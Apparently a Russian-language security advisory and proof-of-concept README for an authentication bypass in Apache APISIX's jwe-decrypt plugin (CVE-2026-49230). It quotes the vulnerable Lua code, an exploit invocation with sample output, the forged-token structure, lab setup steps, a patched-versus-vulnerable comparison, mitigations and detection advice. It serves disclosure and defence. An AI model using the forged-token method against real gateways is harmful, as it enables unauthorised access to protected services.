PoC для CVE-2026-49230: Apache APISIX jwe-decrypt обход аутентификации (отсутствие проверки тега AES-GCM, CWE-354, CVSS 9.1)
jwe-decryptДоказательство концепции обхода аутентификации в плагине Apache APISIX jwe-decrypt. Плагин расшифровывает JWE-токен и передает его открытый текст в вышестоящий сервис (upstream), выступая в роли шлюза аутентификации — но он никогда не проверяет тег аутентификации AES-GCM. Токен, который просто содержит допустимый ключ потребителя kid, принимается независимо от того, насколько поддельны его шифротекст и тег, поэтому злоумышленник, знающий любой ключ потребителя — который передается в открытом виде в заголовке каждого легитимного токена — проходит через шлюз не зная секрета AES.
| CVE | CVE-2026-49230 |
| Продукт | Apache APISIX (плагин jwe-decrypt) |
| Затронутые версии | 3.8.0 – 3.16.0 |
| Исправлено в | 3.17.0 |
| Класс | CWE-354 — Некорректная проверка значения целостности |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Аутентификация | Не аутентифицирован (требуется валидный kid потребителя, не секрет) |
| Опубликовано | 2026-06-19 |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на 3.16.0; отклонено на 3.17.0 |
apisix/plugins/jwe-decrypt.lua (тег 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() возвращает nil, когда тег аутентификации GCM не совпадает, но это возвращаемое значение игнорируется, а вызывающий код проверяет несуществующий err, который всегда равен nil. Таким образом, проверка целостности никогда не выполняется: любой JWE с разрешимым kid проходит аутентификацию. Секрет AES — единственное, чего у злоумышленника не должно быть — фактически никогда не требуется.
Исправление в 3.17.0 передает ошибку (return decrypted, err) и меняет проверку на if not plaintext then return 400. Это же исправление также удаляет публичный API плагина для создания токенов GET /apisix/plugin/jwe/encrypt.
Смотрите ANALYSIS.md для полного разбора кода.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
Поддельный токен имеет вид base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Имеет значение только заголовок (с валидным kid); всё остальное — произвольный мусор, выбранный атакующим.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
В этом окружении нет моста Docker, поэтому лабораторная среда использует --network host (etcd на :2379, data plane APISIX :9080, admin :9180, backend :8080).
| Запрос | 3.16.0 (уязвимая) | 3.17.0 (исправленная) |
|---|---|---|
| без токена | 403 missing JWE token | — |
| некорректный токен (<5 частей) | 400 JWE token invalid | — |
неверный kid + мусорные криптоданные | 400 invalid kid | — |
валидный kid + мусорные криптоданные | 200 upstream reached | 400 failed to decrypt |
Все проверки, кроме контроля целостности GCM, выполняются, и один и тот же поддельный токен меняет ответ с 200 на 400 при переходе через границу исправления — обход вызван именно отсутствием проверки целостности, а не неправильной конфигурацией маршрута. Полный лог в EVIDENCE.txt.
Любой вышестоящий сервис, доверяющий шлюзу jwe-decrypt для аутентификации, может быть достигнут неаутентифицированным злоумышленником, обладающим всего одним валидным kid потребителя. Поскольку валидный kid передается в открытом виде в заголовке JWE каждого легитимно выпущенного токена, одного перехваченного или утекшего токена — или угадываемого ключа потребителя — достаточно для создания неограниченного количества принятых токенов и обхода границы аутентификации шлюза.
jwe-decrypt как на единственное средство аутентификации; добавьте независимый плагин аутентификации (например, key-auth/jwt-auth) или проверку на уровне вышестоящего сервиса, которая валидирует переданную идентичность.Запросы, которые проходят аутентификацию через jwe-decrypt, но передают в вышестоящий сервис пустой/отсутствующий заголовок идентификации (расшифровка молча возвращала nil), являются сильным сигналом. Следите за запросами Authorization: Bearer <jwe>, которые проходят через шлюз, в то время как вышестоящий сервис не получает полезного переданного заголовка.
Исследование и PoC: Caio Fabrício (@BiiTts).
MIT — см. LICENSE.